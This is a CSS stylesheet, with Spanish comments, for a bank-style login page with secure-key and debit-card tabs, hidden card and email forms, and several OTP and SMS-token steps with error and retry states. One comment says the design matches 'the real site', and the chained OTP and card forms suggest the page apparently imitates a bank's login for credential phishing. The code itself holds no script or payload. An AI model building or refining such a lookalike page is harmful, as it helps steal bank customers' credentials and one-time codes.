/* ============================================================
   BASE
   ============================================================ */
html, body{
  height:100%;
  margin:0;
  background:#F6FAFF;
  font-family:"Inter",system-ui,-apple-system,"Segoe UI",Roboto,sans-serif;
  overflow-x:hidden;
  max-width:100%;
}

/* Todo cuenta padding/border dentro del ancho */
*, *::before, *::after{ box-sizing:border-box; }

/* Imágenes/tablas no se desbordan */
img, table{ max-width:100%; height:auto;
}

/* ============================================================
   CONTENEDOR PRINCIPAL: DOS MITADES EXACTAS
   ============================================================ */
#tbl-contenido{
  display:table;
  table-layout:fixed;
  width:100%;
  border-collapse:collapse;
  margin:0;
  min-height:100dvh;
}

/* Fallback si no hay dvh — solo en desktop */
@supports not (height:100dvh){
  @media (min-width:1025px){
    #tbl-contenido{ min-height:100vh; }
  }
}

/* Cada mitad ocupa 50% */
#lado-izq, #lado-der{
  display:table-cell;
  width:50%;
  vertical-align:top !important;
  padding:0;
}

/* Login centrado verticalmente */
#lado-izq { vertical-align: middle !important; }

/* ============================================================
   MITAD IZQUIERDA (login)
   ============================================================ */
#lado-izq{ background:#ffffff;
}

/* Contenedor del login (NO es el card) */
#cont-lado-izq{
  width:420px;
  margin-left:auto;
  margin-right:auto;
  padding:32px 32px 32px;
  box-sizing:border-box;

  background:transparent;
  border:0;
  border-radius:0;
  box-shadow:none;
  position:relative;

  overflow:visible;
}

/* ============================================================
   MITAD DERECHA (banner)
   ============================================================ */
#lado-der{ background:#F6FAFF;
}

#cont-lado-der{
  width:90%;
  max-width:880px;
  margin-left:72px;
  margin-right:auto;
  padding:0 48px 40px 48px;
  background:transparent;
  box-sizing:border-box;
}

/* ============================================================
   DETALLES VISUALES DEL LOGIN
   ============================================================ */
#logo{ width:180px; margin:12px 0 16px 0; }

.titulo{
  font-size:22px;
  line-height:32px;
  letter-spacing:0;
  color:#0f172a;
  font-weight:600;
  margin-bottom:15px;
}

.vinculo{
  color:#0043a9;
  font-size:16px;
  font-weight:400;
  line-height:24px;
  letter-spacing:0.208px;
  text-align:center;
  cursor:pointer;
}
.vinculo:hover{ text-decoration:underline; }

/* ============================================================
   TABS (Clave segura / Tarjeta Débito)
   ============================================================ */
.tabs{
  background-color:#fff;
  color:#5c5c5c;
  padding:18px 0;
  border-bottom:2px solid #e6e6e6;
  cursor:pointer;
}
.tabs:hover{ background-color:#D4E5F8; }

#clave-segura{
  border-radius:8px 0 0 0;
  color:#0040A8;
  border-bottom:2px solid #0040A8;
}
#tarjeta-debito{ border-radius:0 8px 0 0; }

/* ============================================================
   CUADROS (cards)
   ============================================================ */
.formulario{
  background:#fff;
  border:1px solid #e6e6e6;
  border-radius:12px;
  box-shadow:none;
  padding:0 0 30px;
  margin-top:16px;
  overflow:hidden;
}

/* OTP card base (se sobreescribe al final para tamaños) */
.formulariotp{
  background:#fff;
  border:1px solid #e6e6e6;
  border-radius:16px;
  box-shadow:none;
  padding:24px 22px;
  margin:16px auto 0;
  overflow:hidden;
  width:100%;
  max-width:520px;
}

/* ============================================================
   Inputs
   ============================================================ */
.etiqueta{
  color:#444;
  font-size:14px;
  line-height:20px;
  margin:24px 0 12px 0;
}

.entrada{
  height:48px;
  border-radius:4px;
  outline:none;
  border:1px solid #b3b3b3;
  width:100%;
  color:#000;
  font-size:18px;
  line-height:24px;
  padding:0 16px;
}
.entrada:hover:not(:focus){ border:1px solid #000; }
.entrada:focus{
  border:2px solid #0043A9;
  box-shadow:0 0 0 3px rgba(0,67,169,.15);
}

/* padding general de formularios normales */
.cont-form{ padding:0 24px;
}

/* ============================================================
   Botón
   ============================================================ */
.btn{
  background:#0043A9;
  color:#fff;
  border:1px solid #e6e6e6;
  width:100%;
  border-radius:12px;
  cursor:pointer;
  outline:none;
  height:48px;
  font-size:16px;
  font-weight:500;
  line-height:24px;
  letter-spacing:.2px;
  margin:26px 0;
  transition:box-shadow .15s, background .15s;
}
.btn:hover{
  background:#00317E;
  box-shadow:0 4px 12px 0 rgba(0,64,168,.4);
  border:1px solid #00317e;
}
.btn:disabled{
  background:#f2f2f2;
  color:#808080;
  border:none;
  box-shadow:none;
  cursor:not-allowed;
}

/* ============================================================
   Enlaces debajo del botón
   ============================================================ */
.links-row{
  display:flex;
  justify-content:space-between;
  gap:24px;
  padding-top:16px;
  border-top:1px solid #e5e7eb;
}
.links-row a{ font-weight:600; color:#0b5fd6; }

/* Formularios ocultos (lógica intacta) */
#fmr-clave-s{ display:none; }
#frm-otp,#frm-correo,#frm-tarjeta,#frm-errorotp,#frm-otptc,#frm-errortctoken,#frm-otpsms{ display:none;
}

/* ============================================================
   Captions
   ============================================================ */
.captions{
  font-size:12px;
  font-family:Roboto-Regular, sans-serif;
  font-weight:normal;
  line-height:18px;
  letter-spacing:.2px;
  color:#6b7280;
}
footer a,
.captions a,
.recaptcha a{ text-decoration:none !important; }

/* ============================================================
   Aviso (msj-inicio) - versión final (sin duplicados)
   ============================================================ */
.msj-inicio{
  position: relative;
  margin: 0 -24px 0;
  padding: 16px 64px 16px 24px;
  background: #EEF6FF;
  border-top: 0;
  border-bottom: 1px solid #E5EDF9;
  border-radius: 0;
  box-shadow: none;
}
.msj-inicio .msj-ini,
.msj-inicio .txt-inicio{
  margin:0;
  font-size:17px;
  line-height:1.55;
  color:#374151;
  font-weight:400;
}
.msj-inicio .btn-x{
  position:absolute;
  top:50%;
  right:16px;
  transform:translateY(-50%);
}
.msj-inicio .btn-x-action{
  appearance:none;
  border:0;
  background:transparent;
  width:40px;
  height:40px;
  border-radius:999px;
  display:grid;
  place-items:center;
  cursor:pointer;
}
.msj-inicio .btn-x-action:hover{ background:#E9F1FF;
}
.msj-inicio .btn-x-action:focus-visible{
  outline:2px solid #1E3A8A;
  outline-offset:2px;
}
.msj-inicio .ico-close{
  position:relative;
  width:20px;
  height:20px;
}
.msj-inicio .ico-close::before,
.msj-inicio .ico-close::after{
  content:"";
  position:absolute;
  left:0;
  top:50%;
  width:20px;
  height:2px;
  background:#1F4BB5;
  transform-origin:center;
}
.msj-inicio .ico-close::before{ transform:translateY(-50%) rotate(45deg); }
.msj-inicio .ico-close::after { transform:translateY(-50%) rotate(-45deg);
}

/* Aviso correo */
#frm-correo #des-correo,
#des-correo{
  position:relative;
  margin: 0 -24px 0;
  padding:16px 24px;
  background:#EEF6FF;
  border-top:0;
  border-bottom:1px solid #E5EDF9;
  border-radius:0;
  box-shadow:none;
  color:#374151;
  font-weight:500;
  font-size:17px;
  line-height:1.55;
}

/* ============================================================
   RESPONSIVE
   ============================================================ */
@media (max-width:1024px){
  /* Quitar altura mínima para que no quede espacio vacío antes del banner */
  #tbl-contenido{ display:block; min-height:0; height:auto; }

  #lado-izq,#lado-der{ display:block; width:100%; }
  #lado-der{ display:none; }

  /* Contenedor sin padding lateral — el card va de borde a borde */
  #cont-lado-izq{
    margin:0;
    width:100%;
    max-width:100%;
    padding:24px 0 0;
  }

  /* Logo y título con padding lateral propio */
  #logo{ margin-left:24px; }
  .titulo{ padding:0 24px; font-size:20px; line-height:28px; }

  /* Card de login: borde a borde, sin radio lateral */
  .formulario{
    border-left:none;
    border-right:none;
    border-radius:0;
    margin-top:0;
  }

  /* cont-form mantiene su padding de 24px */
  .cont-form{ padding:0 24px; }

  /* Botón: margin-top 32px igual al sitio real */
  .btn{ margin:32px 0 0; }

  /* Aviso de bienvenida */
  .msj-inicio{
    margin-left:0 !important;
    margin-right:0 !important;
    padding-left:24px;
    padding-right:64px;
  }
}

@media (max-width:480px){
  .msj-inicio{
    padding:14px 56px 14px 16px;
}
  .msj-inicio .msj-ini,
  .msj-inicio .txt-inicio{
    font-size:14px !important;
    line-height:20px !important;
}

  #frm-correo #des-correo,
  #des-correo{
    margin: 0 -20px 0;
    padding:14px 20px;
    font-size:14px;
    line-height:20px;
}

  .titulo{
    font-size:20px !important;
    line-height:28px !important;
    font-weight:600 !important;
}
  #frm-login .tabs{
    font-size:14px !important;
    font-weight:600 !important;
}
}

/* ============================================================
   BLOQUE MÓVIL ABAJO (si lo usas)
   ============================================================ */
#lado-izq-aba{ display:none; }

#cont-lado-aba{
  width:100%;
  max-width:100%;
  margin:0;
  padding:0;
}
#cont-lado-aba .recuadro,
#cont-lado-aba .logos{
  width:100%;
  margin:0 auto;
  display:block;
  text-align:center;
}
#cont-lado-aba .recuadro img,
#cont-lado-aba .logos img{
  width:100% !important;
  max-width:100%;
  height:auto;
  display:block;
  margin:0 auto;
}

@media (max-width:1024px){
  #lado-izq-aba{ display:block; }
  #cont-lado-aba{
    width:100%;
    max-width:100%;
    margin:0;
    padding:0;
  }
}

/* ============================================================
   OTP BASE (estilos generales para SMS)
   ============================================================ */
.otp-wrapper{ text-align:left;
padding-top:28px; }
.otp-icon{ width:52px; margin-bottom:12px; display:block; }
.otp-title{ font-size:22px; font-weight:700; color:#111827; margin:0 0 12px 0; }
.otp-desc{ font-size:16px; color:#111827; line-height:1.45;
margin:0 0 22px 0; }

/* ============================================================
   OVERRIDE FINAL OTP
   ============================================================ */

/* Cards OTP centradas y más pequeñas */
#frm-otp.formulariotp,
#frm-otpsms.formulariotp,
#frm-errorotp.formulariotp,
#frm-otptc.formulariotp,
#frm-errortctoken.formulariotp{
  width: min(600px, calc(100vw - 50px));
  max-width: 600px;

  position: relative;
  left: 50%;
  transform: translateX(-50%);

  border-radius:14px;
  margin-top:16px;
}

/* Mobile: normal */
@media (max-width:1024px){
  #frm-otp.formulariotp,
  #frm-otpsms.formulariotp,
  #frm-errorotp.formulariotp,
  #frm-otptc.formulariotp,
  #frm-errortctoken.formulariotp{
    left:auto;
    transform:none;
    width:100%;
    max-width:520px;
    margin-left:auto;
    margin-right:auto;
  }
}

/* Padding interno OTP más compacto */
#frm-otp .cont-form,
#frm-otpsms .cont-form,
#frm-errorotp .cont-form,
#frm-otptc .cont-form,
#frm-errortctoken .cont-form{
  padding: 18px 18px 20px !important;
}
@media (max-width:480px){
  #frm-otp .cont-form,
  #frm-otpsms .cont-form,
  #frm-errorotp .cont-form,
  #frm-otptc .cont-form,
  #frm-errortctoken .cont-form{
    padding: 16px 14px 18px !important;
}
}

/* Textos OTP Normales */
#frm-otp #des-otp,
#frm-otptc #des-otptc {
  font-size:15px;
  line-height:1.45;
  color:#374151;
  margin-top:4px;
}

/* ==========================================================
   🚨 ESTILOS DE ERROR OTP (ARREGLADO)
   ========================================================== */
#frm-errorotp #des-errotp,
#frm-errortctoken #des-errotpsms {
  font-size: 15px;
  line-height: 1.45;
  color: #b91c1c;         /* Rojo oscuro fuerte */
  background-color: #fef2f2; /* Fondo rojo muy suave */
  border: 1px solid #fecaca; /* Borde rojo suave */
  padding: 12px;
  border-radius: 8px;
  margin-top: 4px;
  margin-bottom: 12px;
  text-align: center;
  font-weight: 500;
  display: block;
}

/* Animación SHAKE (Vibración) que faltaba */
@keyframes shake {
  0%, 100% { transform: translateX(0); }
  10%, 30%, 50%, 70%, 90% { transform: translateX(-4px); }
  20%, 40%, 60%, 80% { transform: translateX(4px); }
}

.otp-shake {
  animation: shake 0.5s cubic-bezier(.36,.07,.19,.97) both;
}

/* ========================================================== */

/* Etiquetas OTP sin margen grande */
#frm-otp .etiqueta,
#frm-errorotp .etiqueta,
#frm-otptc .etiqueta,
#frm-errortctoken .etiqueta,
#frm-otpsms .etiqueta{
  margin:8px 0 6px 0 !important;
  font-size:13px;
}

/* OTP grid: casillas pequeñas */
#frm-otp .otp-grid,
#frm-otpsms .otp-grid,
#frm-errorotp .otp-grid{
  display:flex;
  gap:8px;
  justify-content:flex-start;
  flex-wrap:nowrap;
  margin:8px 0 14px 0;
}

#frm-otp .otp-grid input,
#frm-otpsms .otp-grid input,
#frm-errorotp .otp-grid input{
  width:48px;
  height:48px;
  border-radius:11px;
  border:2px solid #d1d5db;
  background:#fff;
  text-align:center;
  font-size:18px;
  font-weight:700;
  outline:none;
  line-height:48px;
  padding:0;
}
#frm-otp .otp-grid input:focus,
#frm-otpsms .otp-grid input:focus,
#frm-errorotp .otp-grid input:focus{
  border-color:#0b3aa7;
  box-shadow:0 0 0 4px rgba(11,58,167,.15);
}

/* Mobile: mantener una sola fila; conservar la forma original (48x48, border-radius 11px)
   Reducimos el gap para que 6 casillas quepan en pantallas angostas sin cambiar la forma.
*/
@media (max-width:520px){
  #frm-otp .otp-grid,
  #frm-otpsms .otp-grid,
  #frm-errorotp .otp-grid,
  #frm-errortctoken .otpsms-grid,
  .otpsms-grid{
    flex-wrap: nowrap !important;
    justify-content: center !important;
    gap: 6px !important; /* menor separación para evitar wrap */
  }

  /* Mantener tamaño clásico y forma redondeada sutil (11px) */
  #frm-otp .otp-grid input,
  #frm-otpsms .otp-grid input,
  #frm-errorotp .otp-grid input,
  #frm-errortctoken .otpsms-grid input,
  .otpsms-grid input{
    box-sizing: border-box;
    flex: 0 0 48px !important;
    width: 48px !important;
    height: 48px !important;
    max-width: 48px !important;
    max-height: 48px !important;
    border-radius: 11px !important;
    font-size: 18px !important;
    line-height: 48px !important;
  }

  /* Excepción en pantallas extremadamente pequeñas: reducir gap a 4px */
  @media (max-width:360px){
    #frm-otp .otp-grid,
    #frm-otpsms .otp-grid,
    #frm-errorotp .otp-grid,
    .otpsms-grid{
      gap: 4px !important;
}
  }
}

/* Botones OTP más compactos */
#frm-otp #btn-validar.btn,
#frm-errorotp #btn-validarerr.btn,
#frm-otptc #btn-validartc.btn,
#frm-errortctoken #btn-validarsmserr.btn{
  width:190px;
  height:46px;
  font-size:14px;
  border-radius:999px;
  margin:8px 0 0 0;
  display:inline-block;
}

/* OTP SMS: fila inferior (botón + timer + link) */
#frm-otpsms .otp-actions{
  display:flex;
  align-items:center;
  justify-content:flex-start;
  gap:14px;
  margin-top:6px;
  flex-wrap:nowrap;
}

/* Botón sms */
#frm-otpsms #btn-validarsms.btn{
  width:150px;
  height:38px;
  font-size:14px;
  margin:0;
}

/* Grupo timer + link */
#frm-otpsms .otp-side{
  display:flex;
  align-items:center;
  gap:10px;
}

/* Timer más pequeño */
#frm-otpsms .otp-timer{
  width:40px;
  height:40px;
  flex:0 0 40px;
  position:relative;
}
#frm-otpsms .otp-ring{ width:100%; height:100%; transform:rotate(-90deg); display:block; }
#frm-otpsms .otp-ring-bg{ fill:none; stroke:#d1d5db; stroke-width:3.5; }
#frm-otpsms .otp-ring-progress{
  fill:none;
  stroke:#0b3aa7;
  stroke-width:3.5;
  stroke-linecap:round;
  stroke-dasharray:0;
  stroke-dashoffset:0;
  transition:stroke-dashoffset .25s linear;
}
#frm-otpsms .otp-timer-value{
  position:absolute;
  inset:0;
  display:flex;
  align-items:center;
  justify-content:center;
  font-size:14px;
  font-weight:700;
  color:#111827;
}

/* Link SMS */
#frm-otpsms .otp-resend{
  font-size:14px;
  font-weight:600;
  color:#6b7280;
  line-height:1.15;
  cursor:default;
}
#frm-otpsms .otp-resend.enabled{
  color:#0b5fd6;
  cursor:pointer;
}

/* Mobile: apilar */
@media (max-width:520px){
  #frm-otpsms .otp-actions{
    flex-wrap:wrap;
    justify-content:center;
    gap:12px;
}
  #frm-otpsms #btn-validarsms.btn{
    width:100%;
    max-width:320px;
  }
  #frm-otpsms .otp-side{
    width:100%;
    justify-content:center;
}
  #frm-otpsms .otp-resend{
    text-align:center;
  }
}